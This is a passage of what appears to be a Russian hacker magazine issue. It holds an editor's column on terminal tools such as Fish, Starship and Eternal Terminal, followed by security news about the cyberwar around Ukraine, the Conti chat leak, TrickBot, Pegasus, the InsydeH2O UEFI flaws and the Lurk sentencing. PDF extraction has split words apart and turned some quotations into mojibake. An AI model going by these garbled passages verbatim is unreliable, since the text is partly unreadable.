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Дав нень ко у нас не было колонок глав реда! А все почему?
Все потому, что глав ред этот вот уже вто рой месяц собира- 
ется написать что-нибудь умное про web3, но все никак
не соберет ся с мыс лями. Зато вмес то это го мы сегод ня
погово рим о том, как сде лать жизнь в кон соли удоб нее
и веселее!

ËÈÕÈÅ ÏÐÛÆÊÈ

Пер вым эта пом рефор мации тер минала для меня была вов се не уста нов ка
какой-то прог раммы, а ее уда ление. Я отка зал ся от популяр ного сре ди
маково дов  в поль зу стан дар тно го при ложе ния Terminal. Почему? Дело
в том, что в какой-то момент в Apple его кру то переде лали, и он с тех пор
не толь ко не усту пает «Айтер му», но кое в чем пре вос ходит его.

iTerm2

Важ ным откры тием, нап ример, для меня были шот каты Cmd-вверх и Cmd-
вниз, которые поз воля ют ска кать по вве ден ным коман дам. А еще мож но
нажать Cmd-L, что бы сте реть вывод пос ледней коман ды. И это вов се не ана- 
лог юник совой коман ды , которая прос то выводит 26 перено сов стро ки

и ничего, по сути, не сти рает. Нет, вывод, если он мешал, исче зает бес след- 
но.

clear

Мо жет, все это мелочи, но они момен таль но вош ли в при выч ку и сде лали
жизнь ком фор тнее. Кста ти, работа ют эти удобс тва незави симо от текуще го
интер пре тато ра — мож но, к при меру, ска кать по коман дам внут ри Python
REPL.

Еще очень удоб но для раз ных нужд нас тро ить про фили тер минала с раз- 
ными стар товыми коман дами. Нап ример,  или .
А заод но — пок расить фон в раз ный цвет. И даже задать шот каты на откры тие
таких тер миналов — через сис темные нас трой ки или через .

ssh ты@твой_сервер python3

FastScripts

INFO

Соз дание нового шот ката средс тва ми macOS
работа ет так. Заходи в System Preferences →
Keyboard → Shortcuts → App Shortcuts, даль ше
добавь при ложе ние (Terminal) и задай пункт меню
в духе  (пря мо
так — со стрел ками), а нап ротив — жела емый шот- 
кат.

Shell->New Window->SSH

Не знаю, есть ли для Linux эму лятор тер минала, где все эти фун кции ско пиро- 
вали (или при дума ли сами), но линук соидам рекомен дую поис кать!

ÏÎËÅÇÍÀß ÐÛÁÀ

Ког да-то дав ным-дав но, а точ нее — в 2018 году, я написал  в руб рику
WWW, где рас ска зал о новатор ском коман дном интер пре тато ре под наз вани- 
ем .

за мет ку

Fish
Глав ная его  — это авто допол нение: нажима ешь Tab, и можешь лег- 

ко и удоб но выб рать пап ку или файл, если вари антов нес коль ко. Да, Zsh тоже
так уме ет, но там нуж но дваж ды нажимать Tab, что бы появил ся кур сор, а в Fish
дос таточ но нажать стрел ку «вниз». Облегче ние опять же неболь шое, но точ но
так же вхо дит в при выч ку и повыша ет ком форт.

фиш ка

А еще в Fish мож но нажимать Tab пос ле того, как ты вве дешь какую-нибудь
коман ду, что бы уви деть пол ный спи сок ее парамет ров с крат кими пояс нени- 
ями. Эда кий встро енный , из которо го мож но сра зу выбирать клю чи.man

Пе рехо дя на Fish, нуж но пом нить об одном — в отли чие от Zsh, он не под- 
держи вает син таксис Bash! Ты можешь либо изу чить отли чия и учи тывать их
в сво их однос троч никах, либо прос то пред варять их вызовом Bash.

ÇÂÅÇÄÎËÅÒ

Единс твен ной при чиной, по которой я сам не стал перехо дить на Fish в упо- 
мяну том 2018 году, была его (а вов се не моя!) тор мозну тость. Не то что бы он
сов сем уж мед ленно работал, но как-то неуве рен но вих лялся в ответ
на нажатия кла виш.

Прош ли годы, и эта проб лема само устра нилась вол шебным обра зом — то
ли Fish опти мизи рова ли, то ли новый компь ютер справ ляет ся с ним луч ше.
Но нет пре дела совер шенс тву! Для любите лей супер ско рос тных тер миналов
есть новомод ная при сад ка под наз вани ем .Starship

Starship — это не эму лятор тер минала и не коман дный интер пре татор.
Это все го лишь «промпт», то есть прог рамма, которая рису ет приг лашение
к вво ду, а так же при нима ет и отоб ража ет вво димые сим волы. Поверь, даже
тут воз можно улуч шение!

Starship написан на Rust, быстр и добав ляет к тер миналу нес коль ко при ятных
визу аль ных фич — нап ример, кра сит приг лашение в крас ный, если прош лая
коман да завер шилась с ошиб кой. А еще он выводит над приг лашени ем кра- 
сивые информа цион ные строч ки, если ты работа ешь с Git, вир туаль ным окру- 
жени ем Python, AWS и мно гими дру гими популяр ными прог рамма ми.

Для уста нов ки Starship нуж но добавить все го одну стро ку в 

(или , если ты еще не в нашем рыб ном кла не). Ну и конеч но, потом

мож но от души покопать ся в нас трой ках и смас терить себе самое кра сивое
приг лашение на све те.

config.fish
.bashrc

ÂÅ×ÍÛÉ ÊÀÉÔ

Ка кая глав ная проб лема при работе по SSH? Пра виль но, «сло ман ные тру бы»!
То есть сооб щения , которые ты можешь уви деть, если слиш ком

дол го будешь отвле кать ся на важ ные дела вро де чте ния докумен тации
или при готов ления кофе.

broken pipe

Ле чат это по-раз ному. Мож но, нап ример, исполь зовать олдо вый ,

что бы пос ле раз рыва соеди нения хотя бы иметь воз можность вер нуть ся
к тому, что ты делал. Но кон нектить ся при дет ся заново — это го ник то
не отме нял.

screen

Я про бовал ста вить  — прог рамму, которая работа ет на сер вере
и дер жит откры тым собс твен ный порт, что бы ты мог под клю чить ся
при помощи кли ента. Сес сии Mosh железо бетон ны и могут длить ся сут ками!

Mosh

Единс твен ная проб лема с Mosh в том, что в боль шинс тве эму лято ров тер- 
минала перес танет работать прок рутка тек ста колесом мыши (оно нач нет
вмес то это го прок ручивать коман ды). Раз дра жает это прос то неимо вер но.
К тому же ресайз тер минала обыч но при водит к появ лению в нем мусора.

Я уже было подумы вал вер нуть ся к iTerm2, который под держи вает Mosh
чуть луч ше — в час тнос ти, скролл там работа ет. Но тут нат кнул ся на замеча- 
тель ную аль тер нативу Mosh — . В целом работа ет он точ но так
же, прос то с ним прок рутка и ресайз окна не вызыва ют проб лем. Да и наз- 
вание куда более воз вышен ное!

Eternal Terminal

INFO

Ког да я при бежал в редак цион ный чат рас ска-
зывать о сво ей наход ке, автор статьи «

» немед ленно ука зал мне на то, что уже
писал об Eternal Terminal и давал мне почитать.
Что ж! Быва ет, что хорошую вещь нуж но най ти
нес коль ко раз.

Ма гия кон- 
соли 2

Кста ти, если бы я час то работал с SSH на ходу, чаша весов мог ла бы кач нуть- 
ся и в сто рону Mosh. На iOS есть рос кошный эму лятор тер минала под наз- 
вани ем , который под держи вает Mosh. Его авто ра уже  добавить
под дер жку и Eternal Terminal тоже (при чем в тред при шел и сам раз работ чик
ET и пред ложил помощь), но тот уже который год отма хива ется от этой идеи.

Blink про сили

ÍÀ ÏÐÎÙÀÍÈÅ

На этом мы сегод ня закон чим, а напос ледок все же рас ска жу, что стряс лось
с колон кой про web3. Я уже дваж ды наб расывал ее план, но начать писать
мешало прос тое сооб ражение: кро ме кри тики, там ничего не будет, а кри- 
тико вать крип тобра тию — жут ко неб лагодар ное занятие. Тяжело зависи мого
от крип ты челове ка не пере убе дить, а осталь ных и пере убеж дать не нуж но,
у них и сво его скеп сиса — девать некуда!

mailto:apismenny@gmail.com
https://iterm2.com/
https://redsweater.com/fastscripts/
https://xakep.ru/2018/03/09/www-fishshell/
https://fishshell.com/
https://starship.rs/
https://mosh.org/
https://eternalterminal.dev/
https://xakep.ru/2021/09/30/console-utilities-2/
https://apps.apple.com/app/id1594898306
https://github.com/blinksh/blink/issues/597
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В этом месяце: Anonymous объ яви ли вой ну рос сий ско му
пра витель ству, инфраструк туру TrickBot отклю чили пос ле
дол гого прос тоя, Google показа ла лег кую Chrome OS Flex,
авто моби ли Mazda лома ются из-за ради опе реда чи, груп-
пиров ка Lapsus$ взло мала ком панию Nvidia, в UEFI ком пании
InsydeH2O обна ружи ли мно жес тво багов.

КИБЕРВОЙНА
На фоне «спе циаль ной воен ной опе рации» в Укра ине хакер ские груп пы ведут
нас тоящую кибер вой ну и делят ся на два лагеря: одни заяви ли, что под держи- 
вают дей ствия рос сий ских влас тей, тог да как дру гие, нап ротив, вста ли на сто- 
рону Укра ины.

Ðàçëàä íà õàê-ôîðóìàõ

Эк спер ты и СМИ отме чают, что в хакер ском сооб щес тве наметил ся серь- 
езный рас кол. К при меру, адми нис тра тор БД и тор говой пло щад ки
RaidForums откры то заявил, что вво дит собс твен ные сан кции и бло киру ет
дос туп для поль зовате лей из Рос сии. Он чет ко выразил свою позицию,
заявив, что выс тупа ет про тив дей ствий Крем ля.

Дру гой учас тник RaidForums опуб ликовал еще более рез кое сооб щение
в качес тве пре дуп режде ния «рус ским». Так же он выложил на форуме базу
дан ных с адре сами элек трон ной поч ты и хеширо ван ными пароля ми домена
fsb.ru. Хотя под линность этой информа ции пока ник то не про верял, рань ше
этот же поль зователь раз мещал ана логич ные базы дан ных для аме рикан ских
доменов .mil.

Âûìîãàòåëè

Од новре мен но с этим по раз ные сто роны кон флик та вста ли и вымога тель- 
ские груп пиров ки. К при меру, учас тни ки одной из самых агрессив ных хакер- 
ских груп пировок нас тояще го вре мени, Conti, заяви ли о «пол ной под дер жке
рос сий ско го пра витель ства» и приг розили ответны ми кибера така ми любому,
кто ата кует Рос сию, обе щая исполь зовать все свои ресур сы, «что бы нанес ти
ответный удар по кри тичес ки важ ным инфраструк турам вра га».

Чуть поз же хакеры изме нили заяв ление на менее агрессив ное, отме тив,
что при этом они «не всту пают в союз ни с одним пра витель ством и осуж дают
про дол жающуюся вой ну».

В ито ге из-за этой ритори ки у Conti воз никли неожи дан ные проб лемы. Дело
в том, что в отмес тку неиз вес тный (по раз ным дан ным, это был либо укра- 
инский ИБ-эксперт, имев ший дос туп к инфраструк туре хакеров, либо укра- 
инский учас тник самой хак-груп пы) слил в откры тый дос туп внут ренние чаты
Conti.

Су дя по все му, мсти тель взло мал внут ренний Jabber/XMPP-сер вер груп пы
и обна родо вал все логи. О сво ем пос тупке неиз вес тный уве домил некото рые
СМИ и ИБ-иссле дова телей. Вско ре эксперт ком пании Recorded Future Дмит- 
рий Сми лянец под твер дил под линность утеч ки, рав но как и ана лити ки ком- 
пании Hold Security.

Утеч ка пред став ляет собой 339 фай лов JSON, каж дый из которых — это лог
за отдель но взя тый день. То есть были сли ты все раз говоры хакеров
с 29 янва ря 2021 года по 27 фев раля 2022 года (в общей слож- 
ности 60 694 сооб щения).

По ка ИБ-экспер ты толь ко начали ана лизи ровать огромный мас сив дан ных,
но уже ясно, что логи содер жат раз личную информа цию о деятель нос ти
хак-груп пы, в том чис ле о ранее неиз вес тных жер твах, URL-адре сах на утеч ки
дан ных, бит коин-адре сах, а так же обсужде ния текущих опе раций.

Дру гая, куда менее извес тная хак-груп па CoomingProject тоже заяви ла, что
под держит рос сий ское пра витель ство, если кибера таки будут нап равле ны
про тив стра ны.

Ин терес ную ста тис тику о «полити чес кой позиции» раз ных хакер ских груп- 
пировок соб рали жур налис ты изда ния The Record. По их дан ным, о сво ей
позиции во все услы шание заяви ли еще две груп пиров ки.

Пред положи тель но базиру ющаяся в Мин ске груп пиров ка UNC1151 под- 
держи вает Рос сию. Эта хак-груп па счи тает ся белорус ски ми «пра витель- 
ствен ными хакера ми» и яко бы уже работа ет над взло мом элек трон ной поч ты
укра инских воен нослу жащих. По дан ным изда ния, чле ны груп пы — офи церы
Минобо роны Рес публи ки Беларусь.

Ха керы из The Red Bandits тоже выс тупили на сто роне Рос сии.
Еще 22 фев раля груп па объ яви ла в Twitter:

«

»

«Ìû âçëî ìàëè âèäå îðå ãèñ òðà òîðû @UkrainePolice è íàá ëþäà åì

çà íèìè. Åñëè Óêðà èíà íå ñäå ëàåò òî, ÷åãî õî÷åò #Ðîñ ñèÿ, ìû óñè ëèì

àòà êè ïðî òèâ Óêðà èíû, ÷òî áû ñïðî âîöè ðîâàòü ïàíèêó. Ìû òàê æå ðàñ- 

ñìîò ðèì âîç ìîæíîñòü ðàñ ïðîñòðà íåíèÿ #ransomeware

â #UkraineRussiaCrisis #RussiaUcraina #Ukraine».

По дан ным изда ния и мне нию ИБ-экспер тов, эта груп па может иметь отно- 
шение к рос сий ской раз ведке.

Anonymous

Не оста лись в сто роне от «сетевых боевых дей ствий» и хак тивис ты
Anonymous. Так, в Twitter-акка унте, свя зан ном с хак тивист ским дви жени ем,
появи лось сооб щение о том, что хакеры объ явля ют вой ну рос сий ско му пра- 
витель ству в свя зи со «спе циаль ной воен ной опе раци ей» в Укра ине.

Вско ре пос ле это го груп пиров ка взя ла на себя ответс твен ность за вывод
из строя ряда пра витель ствен ных сай тов, сай та RT и рос сий ско го Минис- 
терс тва обо роны. Нуж но отме тить, что проб лемы с дос тупом к тем или иным
ресур сам и DDoS-ата ки теперь наб люда ются регуляр но, при чем разоб рать ся
в том, кто и кого DDoS’ит, зачас тую не пред став ляет ся воз можным.

Ин терес но, что мно гие пра витель ствен ные сай ты Рос сии, в том чис ле
исклю читель но воен ный домен mil.ru, ста ли недос тупны для инос тран ных
посети телей — ресур сы огра ничи вают тра фик из источни ков за пре дела ми
Рос сии.

Фак тичес ки это озна чает, что теперь сер веры нас тро ены таким обра зом, что- 
бы не показы вать содер жимое сай та людям, пыта ющим ся получить к нему
дос туп из дру гой стра ны. Вмес то это го посети тели из заб локиро ван ных
областей видят ошиб ку «418 I’m a teapot».

Эта ошиб ка воз никла как шут ка в кон це девянос тых годов и не явля ется
частью какого-либо офи циаль ного стан дарта. Обыч но эти ошиб ки исполь- 
зуют ся в качес тве сво еоб разной «внут ренней шут ки» сре ди сетевых адми нис- 
тра торов для бло киров ки вхо дяще го тра фика. В час тнос ти, их при меня ют
в ответ на DDoS-ата ки и попыт ки пар синга сай тов или API, что бы сооб щить
зло умыш ленни кам, что их дей ствия обна руже ны и активно бло киру ются.

Ко неч но, одним толь ко DDoS’ом ата ки не огра ничи вают ся. Нап ример,
28 фев раля 2022 года Anonymous дефей сну ли сай ты мно гих рос сий ских
СМИ. Взло му под вер глись, в час тнос ти, ТАСС, «Известия», «Фон танка»,
«Ком мерсант», Forbes, AdIndex, E1, «Мел», «Игро мания», «Такие дела», Buro
24/7, PeopleTalk, «Кос мополи тен».

На всех пос тра дав ших ресур сах появи лось сооб щение на рус ском язы ке
с при зывом оста новить вой ну в Укра ине.

По информа ции Znak.com, ском про мети рова ны были не сами сай ты,
а сер вис ста тис тики Оnthe.io, раз работ чики которо го уже опуб ликова ли офи- 
циаль ное заяв ление:

«

»

«Íàø ñåð âèñ ïîä âåð ãñÿ êèáåðà òàêå è áûë âçëî ìàí. Èç‑çà ÷åãî íà ñàé- 

òå ïîÿâè ëîñü íåñàí êöè îíè ðîâàí íîå çàÿâ ëåíèå. Íà äàí íûé ìîìåíò ìû

íå êîí òðî ëèðó åì ñèòó àöèþ, ïîýòî ìó íàñ òîÿòåëü íî ðåêîìåí äóåì

â ñðî÷ íîì ïîðÿä êå ñíÿòü êîä cdn.onthe.io äî âûÿñ íåíèÿ îáñòî ÿòåëü ñòâ.

Òàê æå îôè öèàëü íî çàÿâ ëÿåì, ÷òî íàøà êîìàí äà íå èìå åò ê ýòî ìó

íèêàêî ãî îòíî øåíèÿ. Ðàç áèðà åìñÿ ñ ïðè ÷èíîé».

Ра зуме ется, это далеко не все «киберин циден ты» пос ледних дней, так
или ина че свя зан ные с воен ными дей стви ями. Сооб щения о новых взло мах,
«сли вах», DDoS-ата ках и ком про мета циях появ ляют ся ежед невно, одна ко
мно жес тво таких новос тей на повер ку ока зыва ются фей ками и дезин форма- 
цией, а дру гие невоз можно под твер дить или опро вер гнуть.

 ДОЛЛАРОВ ЗА БАГИ В ЯДРЕ LINUX91 337

Ком пания Google уве личи ла воз награж дения за уяз вимос ти в ядре Linux, Kubernetes, Google
Kubernetes Engine (GKE) и kCTF . Раз мер воз награж дения теперь может
сос тавлять до  дол ларов.

поч ти в  два раза
91 337

В ком пании говорят, что в целом дан ную прог рамму bug bounty мож но счи тать успешной: толь-
ко за пос ледние три месяца ком пания получи ла  об уяз вимос тях и вып латила иссле- 
дова телям более  дол ларов. За это вре мя уда лось обна ружить 
и  для све жих 1-day-багов.

9 отче тов
175 000 5 0-day уяз вимос тей

2 экс пло ита

CHROME OS FLEX
Ком пания Google показа ла бес плат ную вер сию Chrome OS — Chrome OS
Flex, пред назна чен ную для ста рых и «сла бых» машин, на которые зачас тую
прос то невоз можно уста новить сов ремен ные опе раци онные сис темы.
Исходный код ОС пол ностью открыт и пос тавля ется под лицен зией Apache
2.0.

Еще в 2020 году Google при обре ла ком панию Neverware, а вмес те с ней
и извес тный дис три бутив ChromiumOS — CloudReady, пред став лявший собой
опен сор сную вер сию ChromeOS (стро го огра ничен ной, облачной ОС,
под управле нием которой фун кци они руют Chromebook и Chromebox).

Пред став ленная теперь Chrome OS Flex, по сути, пред став ляет собой
«офи циаль ную» вер сию CloudReady, которой могут поль зовать ся час тные
лица, ком пании и учеб ные заведе ния (CloudReady взи мает пла ту и пред лага- 
ет годовую под писку для учеб ных заведе ний и биз неса). Дос таточ но заг- 
рузить Chrome OS Flex на USB-накопи тель, затем под клю чить его к Mac
или Windows-ПК. При этом опе раци онная сис тема может работать нап рямую
с USB-накопи теля, а не уста нав ливать ся на саму машину и не раз верты вать ся
по сети, то есть ста рую ОС мож но вооб ще не тро гать.

Ми нималь ные сис темные тре бова ния таковы:
64-бит ный про цес сор x86 (ARM пока не под держи вает ся, рав но как и 32-
бит ные про цес соры);

•

4 Гбайт ОЗУ;•
16 Гбайт встро енной памяти;•
под дер жка заг рузки с USB и пол ный адми нис тра тив ный дос туп к BIOS.•

К сожале нию, отме чает ся, что «ком понен ты, выпущен ные до 2010 года, могут
работать некор рек тно». То есть попыт ка уста новить Chrome OS Flex на ста- 
рый ПК с Intel Atom вряд ли увен чает ся успе хом. Так же встро енные гра фичес- 
кие про цес соры Intel GMA 500, 600, 3600 и 3650 «не соот ветс тву ют стан- 
дартам про изво дитель нос ти Chrome OS Flex».

При этом раз работ чики Google обе щают вес ти 
, которое будет тес тировать ся в инди виду аль ном поряд ке, а ОС

опти мизи ровать ся для «обес печения наилуч шего, мак сималь но похоже го
на Chromebook опы та». Судя по все му, пред почте ние будет отда но биз- 
нес-ноут букам и дес ктоп ным ПК, хотя спи сок вклю чает и железо вре мен про- 
цес соров Intel Core пер вого поколе ния (и даже Core 2 Duo).

спи сок сер тифици рован- 
ного железа

В целом Google позици они рует Chrome OS Flex как решение для ста рых
девай сов, на которые уже невоз можно уста новить пос леднюю вер сию их
«род ной» ОС (Windows или macOS), а так же для тех ники, чьи вла дель цы
не могут поз волить себе заменить устрой ство более сов ремен ным. Сооб- 
щает ся, что Chrome OS Flex работа ет с той же кодовой базой, что и Chrome
OS, исполь зующаяся в Chromebook, и гра фик релизов вер сий тоже иден- 
тичен.

По ка Chrome OS Flex находит ся в ран нем дос тупе и изо билу ет багами, так
что в нас тоящее вре мя в ком пании не пла ниру ют добав лять в нее фун кци- 
ональ ность Google Play Store и Android-при ложе ния, пос коль ку раз работ чики
пока «сос редото чены на основных воз можнос тях опе раци онной сис темы».

Так же в ком пании объ ясни ли, чем Chrome OS Flex отли чает ся от сво его
пред шес твен ника, CloudReady. В час тнос ти, в Chrome OS Flex добав лены
Google Assistant, бра узер Chrome и фун кция Nearby Sharing. Так же появи лась
сре да раз работ ки Linux, пред назна чен ная для обра зова тель ных учрежде ний
и кор поратив ных кли ентов.

Вы пуск ста биль ной вер сии Chrome OS Flex ожи дает ся в бли жай шие
месяцы, но точ ных дат в ком пании пока не называ ют.

АТАКИ НА LOG4SHELL
Спе циалис ты орга низа ции ICS SANS и Sophos сооб щили, что ата ки на уяз вимость Log4Shell,
обна ружен ную в декаб ре 2021 года и еще недав но край не популяр ную сре ди хакеров, поч ти
сош ли на нет.

От меча ется, что вол на атак в ито ге прод лилась око ло , при мер но
до начала 2022 года. «Со вре менем зло умыш ленни ки и иссле дова тели потеря ли инте рес
к Log4j», — гла сит отчет ICS SANS.

трех недель

В то же вре мя, по дан ным «Лабора тории Кас пер ско го», при мер но  от обще го чис ла январ- 
ских попыток ска ниро ваний и атак на Log4Shell приш лось на устрой ства в Рос сии. Более 40%
таких атак были выяв лены за , и  сис тем, где они были отра- 
жены, находят ся в Рос сии.

13%

пер вые 5 дней 2022 года 13%

Продолжение статьи →

mailto:nefedova@glc.ru
https://support.google.com/chromeosflex/answer/11513094?hl=en&ref_topic=11618314
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TRICKBOT
ОТКЛЮЧИЛИ
Опе рато ры бот нета TrickBot отклю чили свою сер верную инфраструк туру пос- 
ле нес коль ких месяцев без дей ствия: бот нет поч ти не подавал «приз наков
жиз ни» с декаб ря прош лого года. Таким обра зом, одна из самых агрессив ных
и про дол житель ных вре донос ных опе раций за пос ледние годы подош ла
к кон цу.

Из вес тный ИБ-эксперт Виталий Кре мез, гла ва ком пании Advanced
Intelligence, отме тил, что отклю чение инфраструк туры бот нета не было неожи- 
дан ностью. Дело в том, что недав но иссле дова тели уже пред рекали ско рую
кон чину TrickBot, так как в пос леднее вре мя мал варь ста ла лег ко обна ружи- 
вать ся защит ными про дук тами и хакеры решили перехо дить на исполь- 
зование более «инте рес ного» и надеж ного BazarBackdoor.

«

»

«Â êîí öå êîí öîâ, Trickbot — îòíî ñèòåëü íî ñòà ðîå âðå äîíîñ íîå ÏÎ,

êîòîðîå íå ïîëó÷à ëî ñåðü åçíûõ îáíîâëå íèé. Óðî âåíü åãî îáíà ðóæå íèÿ

âûñîê, à ñåòåâîé òðà ôèê îò áîòîâ ëåã êî ðàñ ïîçíà åòñÿ», — ïîä äåðæà ëè

òî÷ êó çðå íèÿ Êðå ìåçà êîë ëåãè èç Intel471.

Так же нуж но ска зать, что недав но кон троль над TrickBot фак тичес ки перешел
в руки хакер ской груп пиров ки, соз давшей шиф роваль щик Conti. Так, в кон- 
це 2021 года Conti уда лось прив лечь в свои ряды «нес коль ких элит ных раз- 
работ чиков и менед жеров» бот нета TrickBot, по сути прев ратив их из пар тне- 
ров в собс твен ную «дочер нюю ком панию». В ито ге хак-груп па решила
заменить TrickBot более скрыт ным и новым BazarBackdoor, над которым
теперь работа ют те самые раз работ чики ныне зак рытого TrickBot.

«

»

«Ïîñ ëå òîãî, êàê Conti „ïîã ëîòèëà“ ëèäåðîâ TrickBot, ó ãðóï ïû ïîÿâè- 

ëàñü íàäåæ íàÿ îïî ðà è îòêðû ëèñü øèðîêèå ïåð ñïåê òèâû, à Conti âñåã- 

äà íàé äåò ñïî ñîá ïðè ìåíèòü èìå þùèåñÿ òàëàí òû», — ðåçþìè ðóþò

â Advanced Intelligence.

ФБР ПОКУПАЛИ СПАЙВАРЬ
Пред ста вите ли ФБР под твер дили, что покупа ли мощ ную спай варь Pegasus у ком пании NSO
Group, хотя этот про дукт дав но исполь зует ся для слеж ки за жур налис тами, акти вис тами и пра- 
воза щит никами по все му миру. Пра воох раните ли заяви ли, что прос то хотели «быть в кур се
новых тех нологий и методов», при этом ФБР получи ло огра ничен ную лицен зию от изра иль ской
фир мы «толь ко для тес тирова ния и оцен ки про дук та», но никог да не исполь зовало Pegasus
в работе и в рам ках какого-либо рас сле дова ния.

Пос ле это го приз нания пра воох раните лей рас кри тико вали ИБ-экспер ты, вклю чая гла ву
ком пании Citizen Lab Рона Дей бер та (Ron Deibert), чья ком пания отсле жива ет исполь зование
Pegasus с 2016 года.

→ «Класть мил лионы дол ларов в кар маны ком пании, которая, как извес тно,
неод нократ но спо собс тво вала мас штаб ным наруше ниям прав челове ка, воз- 
можным прес тупле ниям и опе раци ям, угро жающим наци ональ ной безопас ности
США… это опре делен но вызыва ет бес покой ство. Это видит ся мне ужас но
контрпро дук тивным, безот ветс твен ным и неп родуман ным спо собом оста вать ся
в кур се шпи онских тех нологий»

— цитата Рона Дей бер та

БАГИ В UEFI
Ана лити ки ком пании Binarly обна ружи ли сра зу 23 кри тичес кие уяз вимос ти
в UEFI от InsydeH2O, которая исполь зует ся мно гими круп ными вен дорами,
вклю чая HP, Lenovo, Fujitsu, Microsoft, Intel, Dell, Bull (Atos) и Siemens.

Ис сле дова тели говорят, что сум марно эти баги могут зат рагивать мил- 
лионы устрой ств, вклю чая ноут буки, сер веры, мар шру тиза торы, сетевое обо- 
рудо вание, ICS и раз личные перифе рий ные девай сы. В общей слож ности
проб лемы каса ются про дук ции более чем 25 пос тавщи ков.

Боль шинс тво уяз вимос тей было най дено в коде System Management Mode
(SMM), который отве чает за обще сис темные фун кции, такие как управле ние
питани ем и аппа рат ным обес печени ем.

Так как при виле гии SMM пре выша ют даже при виле гии ядра ОС, любые
проб лемы с безопас ностью в этом прос транс тве могут иметь край не серь- 
езные пос ледс твия. В час тнос ти, локаль ный или уда лен ный зло умыш ленник
с пра вами адми нис тра тора получит воз можность выпол нить сле дующие дей- 
ствия:

от клю чить аппа рат ные фун кции безопас ности (SecureBoot, Intel
BootGuard);

•

ус тановить ПО, которое проч но зак репит ся в сис теме;•
соз дать бэк доры и скры тые каналы свя зи для кра жи кон фиден циаль ных
дан ных.

•

На ибо лее опас ны из всех обна ружен ных багов CVE-2021-45969, CVE-2021-
45970 и CVE-2021-45971, наб равшие 9,8 бал ла из 10 по шка ле оцен ки уяз- 
вимос тей CVSS. Еще десять уяз вимос тей могут исполь зовать ся для повыше- 
ния при виле гий, две над цать свя заны с наруше нием целос тнос ти информа- 
ции в памяти в SMM, а еще одна проб лема — с наруше нием целос тнос ти
информа ции в памяти в сре де выпол нения драй веров InsydeH2O (DXE).

«

»

«Ñèñ òåìû ìîíèòî ðèí ãà öåëîñ òíîñ òè ïðî øèâ êè ìîãóò íå âûÿâ ëÿòü

àêòèâíóþ ýêñ ïëó àòà öèþ âñåõ îáíà ðóæåí íûõ óÿç âèìîñ òåé èç‑çà îãðà- 

íè÷å íèé Trusted Platform Module. Ðåøåíèÿ äëÿ óäà ëåí íîé àòòåñòà öèè

ðàáîòîñ ïîñîá íîñòè óñòðîé ñòâ òàê æå íå îáíà ðóæàò óÿç âèìûå ñèñ òåìû

èç‑çà êîíñ òðóê òèâíûõ îãðà íè÷å íèé», — ïðå äóï ðåæäà þò ýêñïåð òû.

Аме рикан ский CERT под твер дил наличие уяз вимос тей в про дук тах трех пос- 
тавщи ков: Fujitsu, Insyde Software Corporation и Intel (толь ко баг CVE-2020-
5953).

Хо тя раз работ чики InsydeH2O из ком пании Insyde Software уже выпус тили
пат чи, устра няющие все най ден ные баги, к сожале нию, сна чала эти обновле- 
ния дол жны быть при няты в работу OEM-про изво дите лями, и лишь затем они
будут рас простра нены на уяз вимые про дук ты. Все это зай мет немало вре- 
мени, то есть пат чи дой дут до конеч ных поль зовате лей еще нес коро.

КОНФИСКАЦИЯ  ДОЛЛАРОВ3,6 ÌÈËËÈÀÐÄÀ

Ми нис терс тво юсти ции США про вело круп ней шую кон фиска цию средств в исто рии: изъ яты
более , укра ден ные у крип товалют ной бир жи Bitnex в 2016 году. По обви-
нени ям, свя зан ным с отмы вани ем средств, были .

94 000 бит коинов
арес тованы суп руги из Нью-Йор ка

Ког да Bitnex взло мали в 2016 году, ресурс лишил ся , спро воци ровав
замет ное колеба ние кур сов крип товалют. Но если в 2016 году ущерб от ата ки оце нивал ся при- 
мер но в  дол ларов США, с тех пор курс бит коина зна читель но изме нил ся. Теперь
замес титель генераль ного про куро ра США Лиза Монако наз вала кон фиска цию 

 круп ней шей в исто рии, так как сей час ворован ная крип товалю та сто ит око ло 
.

119  754  бит коинов

72 мил лиона
94 тысяч бит- 

коинов 3,6 мил- 
лиар да дол ларов

14 ЛЕТ ЗА LURK
Ки ров ский рай онный суд Ека терин бурга при гово рил учас тни ков груп пиров ки
Lurk, похитив шей более мил лиар да руб лей, к сро кам от 5 до 13 лет лишения
сво боды. Гла ва хак-груп пы Кон стан тин Коз лов ский и вов се получил 14 лет
колонии стро гого режима.

На пом ню, что об арес те учас тни ков хакер ской груп пы Lurk (в общей слож- 
ности были задер жаны более 50 человек из 15 реги онов Рос сии) ста ло
извес тно еще летом 2016 года. Хакеры сис темати чес ки похища ли круп ные
сум мы со сче тов ком мерчес ких орга низа ций, и тог да экспер ты «Лабора тории
Кас пер ско го», которые шесть лет изу чали деятель ность груп пы, рас ска зыва- 
ли, что имен но чле ны Lurk соз дали экс пло ит-кит Angler, в те годы домини- 
ровав ший на рын ке экс пло ит-паков.

Учас тни ков Lurk обви нили в кра же при мер но мил лиар да руб лей и ата ках
на кри тичес кую инфраструк туру РФ, ведь в чис ле пос тра дав ших ока зались
три бан ка: мос ков ские «Гарант-Инвест» — 467,4 мил лиона руб лей и Метал- 
линвес тбанк — 67,5 мил лиона руб лей, а так же сибир ский фили ал бан ка
«Таат та» — 99,7 мил лиона руб лей.

Ин терес но, что ранее гла ва груп пиров ки Кон стан тин Коз лов ский заяв лял
в суде, что совер шал прес тупле ния с подачи сот рудни ков ФСБ. Что бы при- 
дать еще боль шую зна чимость сво им сло вам, он взял на себя ответс твен- 
ность за взлом сер веров Демок ратичес кой пар тии США и элек трон ной поч ты
Хил лари Клин тон в 2016 году. Суд скеп тичес ки отнесся к подоб ному заяв- 
лению, а Минюст США так же никог да не сооб щал о при час тнос ти Коз лов ско-
го к этим ата кам.

Не задол го до вынесе ния при гово ра ста ло извес тно, что про веден ная
экспер тиза заяв ления Коз лов ско го окон чатель но опро вер гла:

«Экспер тизу про води ли силови ки сов мес тно с ведущи ми ком пани ями
в области информа цион ной безопас ности Рос сии, была про вере на вся изъ- 
ятая тех ника, носите ли информа ции, средс тва свя зи. Фак тов атак на пра- 
витель ство США не выяв лено. В изъ ятой перепис ке меж ду чле нами груп пы
это так же не обсужда лось», — сооб щал зна комый с делом источник.

Те перь же суд при гово рил рядовых учас тни ков Lurk к сро кам от 5 лет
и 1 месяца до 13 лет лишения сво боды. Кон стан тину Коз лов ско му наз начили
наказа ние в виде 14 лет колонии стро гого режима. Его приз нали винов ным
по ряду ста тей, вклю чая орга низа цию прес тупно го сооб щес тва, мошен ничес- 
тво в осо бо круп ном раз мере и неп равомер ный дос туп к компь ютер ной
информа ции. При говор хакерам огла шали пять дней.

«

»

